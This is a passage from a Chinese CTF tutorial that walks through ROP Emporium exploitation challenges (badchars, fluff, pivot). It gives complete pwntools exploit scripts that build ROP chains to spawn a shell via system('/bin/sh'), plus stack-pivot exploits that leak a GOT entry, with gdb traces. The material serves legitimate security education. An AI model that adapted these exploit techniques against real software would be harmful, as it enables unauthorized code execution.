$ ropgadget --binary badchars --only "mov|pop|ret|xor"
+...
+0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
+0x0000000000400b3b : pop r12 ; pop r13 ; ret
+0x0000000000400b40 : pop r14 ; pop r15 ; ret
+0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
+0x0000000000400b39 : pop rdi ; ret
+from pwn import *
+
+pop_r12_r13  = 0x0000000000400b3b
+mov_r13_r12  = 0x0000000000400b34
+pop_r14_r15  = 0x0000000000400b40
+xor_r15_r14b = 0x0000000000400b30
+pop_rdi      = 0x0000000000400b39
+
+system_plt = 0x00000000004006f0
+data_addr  = 0x0000000000601000
+
+badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
+xor_byte = 0x1
+while(1):
+    binsh = ""
+    for i in "/bin/sh\x00":
+        c = ord(i) ^ xor_byte
+        if c in badchars:
+            xor_byte += 1
+            break
+        else:
+            binsh += chr(c)
+    if len(binsh) == 8:
+        break
+
+payload  = "A"*40
+payload += p64(pop_r12_r13)
+payload += binsh
+payload += p64(data_addr)
+payload += p64(mov_r13_r12)
+
+for i in range(len(binsh)):
+    payload += p64(pop_r14_r15)
+    payload += p64(xor_byte)
+    payload += p64(data_addr + i)
+    payload += p64(xor_r15_r14b)
+
+payload += p64(pop_rdi)
+payload += p64(data_addr)
+payload += p64(system_plt)
+
+io = process('./badchars')
+io.recvuntil('>')
+io.sendline(payload)
+io.interactive()
+
+

fluff32

+

这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 mov [reg], reg 这样的 gadgets,我们就从这里出发,倒推所需的 gadgets。

+
$ ropgadget --binary fluff32 --only "mov|pop|ret|xor|xchg"
+...
+0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
+0x080483e1 : pop ebx ; ret
+0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
+0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
+0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
+
+

我们看到一个这样的 mov dword ptr [ecx], edx ;,可以想到我们将地址放进 ecx,将数据放进 edx,从而将数据写入到地址中。payload 如下:

+
from zio import *
+
+system_plt   = 0x08048430
+data_addr    = 0x0804a028
+
+pop_ebx      = 0x080483e1
+mov_ecx_edx  = 0x08048693
+xchg_edx_ecx = 0x08048689
+xor_edx_ebx  = 0x0804867b
+xor_edx_edx  = 0x08048671
+
+def write_data(data, addr):
+    # addr -> ecx
+    payload  = l32(xor_edx_edx)
+    payload += "BBBB"
+    payload += l32(pop_ebx)
+    payload += l32(addr)
+    payload += l32(xor_edx_ebx)
+    payload += "BBBB"
+    payload += l32(xchg_edx_ecx)
+    payload += "BBBB"
+
+    # data -> edx
+    payload += l32(xor_edx_edx)
+    payload += "BBBB"
+    payload += l32(pop_ebx)
+    payload += data
+    payload += l32(xor_edx_ebx)
+    payload += "BBBB"
+
+    # edx -> [ecx]
+    payload += l32(mov_ecx_edx)
+    payload += "BBBB"
+    payload += l32(0)
+
+    return payload
+
+payload  = "A"*44
+
+payload += write_data("/bin", data_addr)
+payload += write_data("/sh\x00", data_addr + 4)
+
+payload += l32(system_plt)
+payload += "BBBB"
+payload += l32(data_addr)
+
+io = zio('./fluff32')
+io.writeline(payload)
+io.interact()
+
+

fluff

+

提示:在使用 ropgadget 搜索时加上参数 --depth 可以得到更大长度的 gadgets。

+
$ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
+...
+0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
+0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
+0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
+0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
+0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
+from pwn import *
+
+system_plt = 0x004005e0
+data_addr  = 0x0000000000601050
+
+xor_r11_r11 = 0x0000000000400822
+xor_r11_r12 = 0x000000000040082f
+xchg_r11_r10 = 0x0000000000400840
+mov_r10_r11 = 0x000000000040084c
+pop_r12 = 0x0000000000400832
+
+def write_data(data, addr):
+    # addr -> r10
+    payload  = p64(xor_r11_r11)
+    payload += "BBBBBBBB"
+    payload += p64(pop_r12)
+    payload += p64(addr)
+    payload += p64(xor_r11_r12)
+    payload += "BBBBBBBB"
+    payload += p64(xchg_r11_r10)
+    payload += "BBBBBBBB"
+
+    # data -> r11
+    payload += p64(xor_r11_r11)
+    payload += "BBBBBBBB"
+    payload += p64(pop_r12)
+    payload += data
+    payload += p64(xor_r11_r12)
+    payload += "BBBBBBBB"
+
+    # r11 -> [r10]
+    payload += p64(mov_r10_r11)
+    payload += "BBBBBBBB"*2
+    payload += p64(0)
+
+    return payload
+
+payload  = "A"*40
+payload += write_data("/bin/sh\x00", data_addr)
+payload += p64(system_plt)
+
+io = process('./fluff')
+io.recvuntil('>')
+io.sendline(payload)
+io.interactive()
+
+

pivot32

+

这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。

+

通过分析我们知道该程序从动态库 libpivot32.so 中导入了函数 foothold_function(),但在程序逻辑中并没有调用,而在 libpivot32.so 中还有我们需要的函数 ret2win()

+

现在我们知道了可以泄露的函数 foothold_function(),那么怎么泄露呢。前面我们已经简单介绍了延时绑定技术,当我们在调用如 func@plt() 的时候,系统才会将真正的 func() 函数地址写入到 GOT 表的 func.got.plt 中,然后 func@plt() 根据 func.got.plt 跳转到真正的 func() 函数上去。

+

最后是该挑战最重要的部分,程序运行我们有两次输入,第一次输入被放在一个由 malloc() 函数分配的堆上,当然为了降低难度,程序特地将该地址打印了出来,第二次的输入则被放在一个大小限制为 13 字节的栈上,这个空间不足以让我们执行很多东西,所以需要运用 stack pivot,即通过覆盖调用者的 ebp,将栈帧转移到另一个地方,同时控制 eip,即可改变程序的执行流,通常的 payload(这里称为副payload) 结构如下:

+
buffer padding | fake ebp | leave;ret addr |
+
+

这样函数的返回地址就被覆盖为 leave;ret 指令的地址,这样程序在执行完其原本的 leave;ret 后,又执行了一次 leave;ret。

+

另外 fake ebp 指向我们另一段 payload(这里称为主payload) 的 ebp,即 主payload 地址减 4 的地方,当然你也可以在构造 主payload 时在前面加 4 个字节的 padding 作为 ebp:

+
ebp | payload
+
+

我们知道一个函数的入口点通常是:

+
push ebp
+mov  ebp,esp
+
+

leave 指令相当于:

+
mov esp,ebp
+pop ebp
+
+

ret 指令为相当于:

+
pop eip
+
+

如果遇到一种情况,我们可以控制的栈溢出的字节数比较小,不能完成全部的工作,同时程序开启了 PIE 或者系统开启了 ASLR,但同时在程序的另一个地方有足够的空间可以写入 payload,并且可执行,那么我们就将栈转移到那个地方去。

+

完整的 exp 如下:

+
from pwn import *
+
+#context.log_level = 'debug'
+#context.terminal = ['konsole']
+io = process('./pivot32')
+elf = ELF('./pivot32')
+libp = ELF('./libpivot32.so')
+
+leave_ret = 0x0804889f
+
+foothold_plt     = elf.plt['foothold_function'] # 0x080485f0
+foothold_got_plt = elf.got['foothold_function'] # 0x0804a024
+
+pop_eax      = 0x080488c0
+pop_ebx      = 0x08048571
+mov_eax_eax  = 0x080488c4
+add_eax_ebx  = 0x080488c7
+call_eax     = 0x080486a3
+
+foothold_sym = libp.symbols['foothold_function']
+ret2win_sym  = libp.symbols['ret2win']
+offset = int(ret2win_sym - foothold_sym) # 0x1f7
+
+leakaddr  = int(io.recv().split()[20], 16)
+
+# calls foothold_function() to populate its GOT entry, then queries that value into EAX
+#gdb.attach(io)
+payload_1  = p32(foothold_plt)
+payload_1 += p32(pop_eax)
+payload_1 += p32(foothold_got_plt)
+payload_1 += p32(mov_eax_eax)
+payload_1 += p32(pop_ebx)
+payload_1 += p32(offset)
+payload_1 += p32(add_eax_ebx)
+payload_1 += p32(call_eax)
+
+io.sendline(payload_1)
+
+# ebp = leakaddr-4, esp = leave_ret
+payload_2  = "A"*40
+payload_2 += p32(leakaddr-4) + p32(leave_ret)
+
+io.sendline(payload_2)
+print io.recvall()
+
+

这里我们在 gdb 中验证一下,在 pwnme() 函数的 leave 处下断点:

+
gdb-peda$ b *0x0804889f
+Breakpoint 1 at 0x804889f
+gdb-peda$ c
+Continuing.
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0xffe7ec68 --> 0xf755cf0c --> 0x0
+ESP: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EIP: 0x804889f (<pwnme+173>:    leave)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x8048896 <pwnme+164>:       call   0x80485b0 <fgets@plt>
+   0x804889b <pwnme+169>:       add    esp,0x10
+   0x804889e <pwnme+172>:       nop
+=> 0x804889f <pwnme+173>:       leave  
+   0x80488a0 <pwnme+174>:       ret
+   0x80488a1 <uselessFunction>: push   ebp
+   0x80488a2 <uselessFunction+1>:       mov    ebp,esp
+   0x80488a4 <uselessFunction+3>:       sub    esp,0x8
+[------------------------------------stack-------------------------------------]
+0000| 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+0004| 0xffe7ec44 ('A' <repeats 36 times>, "\f\317U\367\237\210\004\b\n")
+0008| 0xffe7ec48 ('A' <repeats 32 times>, "\f\317U\367\237\210\004\b\n")
+0012| 0xffe7ec4c ('A' <repeats 28 times>, "\f\317U\367\237\210\004\b\n")
+0016| 0xffe7ec50 ('A' <repeats 24 times>, "\f\317U\367\237\210\004\b\n")
+0020| 0xffe7ec54 ('A' <repeats 20 times>, "\f\317U\367\237\210\004\b\n")
+0024| 0xffe7ec58 ('A' <repeats 16 times>, "\f\317U\367\237\210\004\b\n")
+0028| 0xffe7ec5c ('A' <repeats 12 times>, "\f\317U\367\237\210\004\b\n")
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0x0804889f in pwnme ()
+gdb-peda$ x/10w 0xffe7ec68
+0xffe7ec68:     0xf755cf0c      0x0804889f      0xf755000a      0x00000000
+0xffe7ec78:     0x00000002      0x00000000      0x00000001      0xffe7ed44
+0xffe7ec88:     0xf755cf10      0xf655d010
+gdb-peda$ x/10w 0xf755cf0c
+0xf755cf0c:     0x00000000      0x080485f0      0x080488c0      0x0804a024
+0xf755cf1c:     0x080488c4      0x08048571      0x000001f7      0x080488c7
+0xf755cf2c:     0x080486a3      0x0000000a
+
+

执行第一次 leave;ret 之前,我们看到 EBP 指向 fake ebp,即 0xf755cf0c,fake ebp 指向 主payload 的 ebp,而在 fake ebp 后面是 leave;ret 的地址 0x0804889f,即返回地址。

+

执行第一次 leave:

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0xf755cf0c --> 0x0
+ESP: 0xffe7ec6c --> 0x804889f (<pwnme+173>:     leave)
+EIP: 0x80488a0 (<pwnme+174>:    ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x804889b <pwnme+169>:       add    esp,0x10
+   0x804889e <pwnme+172>:       nop
+   0x804889f <pwnme+173>:       leave  
+=> 0x80488a0 <pwnme+174>:       ret
+   0x80488a1 <uselessFunction>: push   ebp
+   0x80488a2 <uselessFunction+1>:       mov    ebp,esp
+   0x80488a4 <uselessFunction+3>:       sub    esp,0x8
+   0x80488a7 <uselessFunction+6>:       call   0x80485f0 <foothold_function@plt>
+[------------------------------------stack-------------------------------------]
+0000| 0xffe7ec6c --> 0x804889f (<pwnme+173>:    leave)
+0004| 0xffe7ec70 --> 0xf755000a --> 0x0
+0008| 0xffe7ec74 --> 0x0
+0012| 0xffe7ec78 --> 0x2
+0016| 0xffe7ec7c --> 0x0
+0020| 0xffe7ec80 --> 0x1
+0024| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32")
+0028| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp    DWORD PTR ds:0x804a024)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488a0 in pwnme ()
+
+

EBP 的值 0xffe7ec68 被赋值给 ESP,然后从栈中弹出 0xf755cf0c,即 fake ebp 并赋值给 EBP,同时 ESP+4=0xffe7ec6c,指向第二次的 leave。

+

执行第一次 ret:

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0xf755cf0c --> 0x0
+ESP: 0xffe7ec70 --> 0xf755000a --> 0x0
+EIP: 0x804889f (<pwnme+173>:    leave)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x8048896 <pwnme+164>:       call   0x80485b0 <fgets@plt>
+   0x804889b <pwnme+169>:       add    esp,0x10
+   0x804889e <pwnme+172>:       nop
+=> 0x804889f <pwnme+173>:       leave  
+   0x80488a0 <pwnme+174>:       ret
+   0x80488a1 <uselessFunction>: push   ebp
+   0x80488a2 <uselessFunction+1>:       mov    ebp,esp
+   0x80488a4 <uselessFunction+3>:       sub    esp,0x8
+[------------------------------------stack-------------------------------------]
+0000| 0xffe7ec70 --> 0xf755000a --> 0x0
+0004| 0xffe7ec74 --> 0x0
+0008| 0xffe7ec78 --> 0x2
+0012| 0xffe7ec7c --> 0x0
+0016| 0xffe7ec80 --> 0x1
+0020| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32")
+0024| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp    DWORD PTR ds:0x804a024)
+0028| 0xffe7ec8c --> 0xf655d010 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0x0804889f in pwnme ()
+
+

EIP=0x804889f,同时 ESP+4。

+

第二次 leave:

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp    DWORD PTR ds:0x804a024)
+EIP: 0x80488a0 (<pwnme+174>:    ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x804889b <pwnme+169>:       add    esp,0x10
+   0x804889e <pwnme+172>:       nop
+   0x804889f <pwnme+173>:       leave  
+=> 0x80488a0 <pwnme+174>:       ret
+   0x80488a1 <uselessFunction>: push   ebp
+   0x80488a2 <uselessFunction+1>:       mov    ebp,esp
+   0x80488a4 <uselessFunction+3>:       sub    esp,0x8
+   0x80488a7 <uselessFunction+6>:       call   0x80485f0 <foothold_function@plt>
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>:        jmp    DWORD PTR ds:0x804a024)
+0004| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>:        pop    eax)
+0008| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>:        push   0x30)
+0012| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>:      mov    eax,DWORD PTR [eax])
+0016| 0xf755cf20 --> 0x8048571 (<_init+33>:     pop    ebx)
+0020| 0xf755cf24 --> 0x1f7
+0024| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>:      add    eax,ebx)
+0028| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>:      call   eax)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488a0 in pwnme ()
+gdb-peda$ x/10w 0xf755cf10
+0xf755cf10:     0x080485f0      0x080488c0      0x0804a024      0x080488c4
+0xf755cf20:     0x08048571      0x000001f7      0x080488c7      0x080486a3
+0xf755cf30:     0x0000000a      0x00000000
+
+

EBP 的值 0xf755cf0c 被赋值给 ESP,并将 主payload 的 ebp 赋值给 EBP,同时 ESP+4=0xf755cf10,这个值正是我们 主payload 的地址。

+

第二次 ret:

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop    eax)
+EIP: 0x80485f0 (<foothold_function@plt>:        jmp    DWORD PTR ds:0x804a024)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x80485e0 <exit@plt>:        jmp    DWORD PTR ds:0x804a020
+   0x80485e6 <exit@plt+6>:      push   0x28
+   0x80485eb <exit@plt+11>:     jmp    0x8048580
+=> 0x80485f0 <foothold_function@plt>:   jmp    DWORD PTR ds:0x804a024
+ | 0x80485f6 <foothold_function@plt+6>: push   0x30
+ | 0x80485fb <foothold_function@plt+11>:        jmp    0x8048580
+ | 0x8048600 <__libc_start_main@plt>:   jmp    DWORD PTR ds:0x804a028
+ | 0x8048606 <__libc_start_main@plt+6>: push   0x38
+ |->   0x80485f6 <foothold_function@plt+6>:     push   0x30
+       0x80485fb <foothold_function@plt+11>:    jmp    0x8048580
+       0x8048600 <__libc_start_main@plt>:       jmp    DWORD PTR ds:0x804a028
+       0x8048606 <__libc_start_main@plt+6>:     push   0x38
+                                                                  JUMP is taken
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>:        pop    eax)
+0004| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>:        push   0x30)
+0008| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>:      mov    eax,DWORD PTR [eax])
+0012| 0xf755cf20 --> 0x8048571 (<_init+33>:     pop    ebx)
+0016| 0xf755cf24 --> 0x1f7
+0020| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>:      add    eax,ebx)
+0024| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>:      call   eax)
+0028| 0xf755cf30 --> 0xa ('\n')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080485f0 in foothold_function@plt ()
+
+

成功跳转到 foothold_function@plt,接下来系统通过 _dl_runtime_resolve 等步骤,将真正的地址写入到 .got.plt 中,我们构造 gadget 泄露出该地址地址,然后计算出 ret2win() 的地址,调用它,就成功了。

+

地址泄露的过程:

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x54 ('T')
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>:      push   ebp)
+EIP: 0x80488c0 (<usefulGadgets>:        pop    eax)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x80488ba:   xchg   ax,ax
+   0x80488bc:   xchg   ax,ax
+   0x80488be:   xchg   ax,ax
+=> 0x80488c0 <usefulGadgets>:   pop    eax
+   0x80488c1 <usefulGadgets+1>: ret
+   0x80488c2 <usefulGadgets+2>: xchg   esp,eax
+   0x80488c3 <usefulGadgets+3>: ret
+   0x80488c4 <usefulGadgets+4>: mov    eax,DWORD PTR [eax]
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>:     push   ebp)
+0004| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>:      mov    eax,DWORD PTR [eax])
+0008| 0xf755cf20 --> 0x8048571 (<_init+33>:     pop    ebx)
+0012| 0xf755cf24 --> 0x1f7
+0016| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>:      add    eax,ebx)
+0020| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>:      call   eax)
+0024| 0xf755cf30 --> 0xa ('\n')
+0028| 0xf755cf34 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c0 in usefulGadgets ()
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x804a024 --> 0xf7772770 (<foothold_function>:     push   ebp)
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>:       mov    eax,DWORD PTR [eax])
+EIP: 0x80488c1 (<usefulGadgets+1>:      ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x80488bc:   xchg   ax,ax
+   0x80488be:   xchg   ax,ax
+   0x80488c0 <usefulGadgets>:   pop    eax
+=> 0x80488c1 <usefulGadgets+1>: ret
+   0x80488c2 <usefulGadgets+2>: xchg   esp,eax
+   0x80488c3 <usefulGadgets+3>: ret
+   0x80488c4 <usefulGadgets+4>: mov    eax,DWORD PTR [eax]
+   0x80488c6 <usefulGadgets+6>: ret
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>:      mov    eax,DWORD PTR [eax])
+0004| 0xf755cf20 --> 0x8048571 (<_init+33>:     pop    ebx)
+0008| 0xf755cf24 --> 0x1f7
+0012| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>:      add    eax,ebx)
+0016| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>:      call   eax)
+0020| 0xf755cf30 --> 0xa ('\n')
+0024| 0xf755cf34 --> 0x0
+0028| 0xf755cf38 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c1 in usefulGadgets ()
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x804a024 --> 0xf7772770 (<foothold_function>:     push   ebp)
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf20 --> 0x8048571 (<_init+33>:      pop    ebx)
+EIP: 0x80488c4 (<usefulGadgets+4>:      mov    eax,DWORD PTR [eax])
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x80488c1 <usefulGadgets+1>: ret
+   0x80488c2 <usefulGadgets+2>: xchg   esp,eax
+   0x80488c3 <usefulGadgets+3>: ret
+=> 0x80488c4 <usefulGadgets+4>: mov    eax,DWORD PTR [eax]
+   0x80488c6 <usefulGadgets+6>: ret
+   0x80488c7 <usefulGadgets+7>: add    eax,ebx
+   0x80488c9 <usefulGadgets+9>: ret
+   0x80488ca <usefulGadgets+10>:        xchg   ax,ax
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf20 --> 0x8048571 (<_init+33>:     pop    ebx)
+0004| 0xf755cf24 --> 0x1f7
+0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>:      add    eax,ebx)
+0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>:      call   eax)
+0016| 0xf755cf30 --> 0xa ('\n')
+0020| 0xf755cf34 --> 0x0
+0024| 0xf755cf38 --> 0x0
+0028| 0xf755cf3c --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c4 in usefulGadgets ()
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xf7772770 (<foothold_function>:   push   ebp)
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf20 --> 0x8048571 (<_init+33>:      pop    ebx)
+EIP: 0x80488c6 (<usefulGadgets+6>:      ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x80488c2 <usefulGadgets+2>: xchg   esp,eax
+   0x80488c3 <usefulGadgets+3>: ret
+   0x80488c4 <usefulGadgets+4>: mov    eax,DWORD PTR [eax]
+=> 0x80488c6 <usefulGadgets+6>: ret
+   0x80488c7 <usefulGadgets+7>: add    eax,ebx
+   0x80488c9 <usefulGadgets+9>: ret
+   0x80488ca <usefulGadgets+10>:        xchg   ax,ax
+   0x80488cc <usefulGadgets+12>:        xchg   ax,ax
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf20 --> 0x8048571 (<_init+33>:     pop    ebx)
+0004| 0xf755cf24 --> 0x1f7
+0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>:      add    eax,ebx)
+0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>:      call   eax)
+0016| 0xf755cf30 --> 0xa ('\n')
+0020| 0xf755cf34 --> 0x0
+0024| 0xf755cf38 --> 0x0
+0028| 0xf755cf3c --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c6 in usefulGadgets ()
+
+

pivot

+

基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如:

+
payload_2  = "A" * 40
+payload_2 += p64(pop_rax)
+payload_2 += p64(leakaddr)
+payload_2 += p64(xchg_rax_rsp)
+
+

实际上,我本人正是使用这种方法,因为我在构建 payload 时,0x0000000000400ae0 <+165>: leave,leave;ret 的地址存在截断字符 0a,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 0a 换成非截断字符,之后再使用寄存器将 0a 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。

+
$ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret"
+0x0000000000400b09 : add rax, rbp ; ret
+0x000000000040098e : call rax
+0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
+0x0000000000400b00 : pop rax ; ret
+0x0000000000400900 : pop rbp ; ret
+0x0000000000400b02 : xchg rax, rsp ; ret
+from pwn import *
+
+#context.log_level = 'debug'
+#context.terminal = ['konsole']
+io = process('./pivot')
+elf = ELF('./pivot')
+libp = ELF('./libpivot.so')
+
+leave_ret = 0x0000000000400adf
+
+foothold_plt     = elf.plt['foothold_function'] # 0x400850
+foothold_got_plt = elf.got['foothold_function'] # 0x602048
+
+pop_rax      = 0x0000000000400b00
+pop_rbp      = 0x0000000000400900
+mov_rax_rax  = 0x0000000000400b05
+xchg_rax_rsp = 0x0000000000400b02
+add_rax_rbp  = 0x0000000000400b09
+call_rax     = 0x000000000040098e
+
+foothold_sym = libp.symbols['foothold_function']
+ret2win_sym  = libp.symbols['ret2win']
+offset = int(ret2win_sym - foothold_sym) # 0x14e
+
+leakaddr  = int(io.recv().split()[20], 16)
+
+# calls foothold_function() to populate its GOT entry, then queries that value into EAX
+#gdb.attach(io)
+payload_1  = p64(foothold_plt)
+payload_1 += p64(pop_rax)
+payload_1 += p64(foothold_got_plt)
+payload_1 += p64(mov_rax_rax)
+payload_1 += p64(pop_rbp)
+payload_1 += p64(offset)
+payload_1 += p64(add_rax_rbp)
+payload_1 += p64(call_rax)
+
+io.sendline(payload_1)
+
+# rsp = leakaddr
+payload_2  = "A" * 40
+payload_2 += p64(pop_rax)
+payload_2 += p64(leakaddr)
+payload_2 += p64(xchg_rax_rsp)
+
+io.sendline(payload_2)
+print io.recvall()
+
+

这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。

+

3.1.6 Linux 堆利用(上)

+ +

Linux 堆简介

+

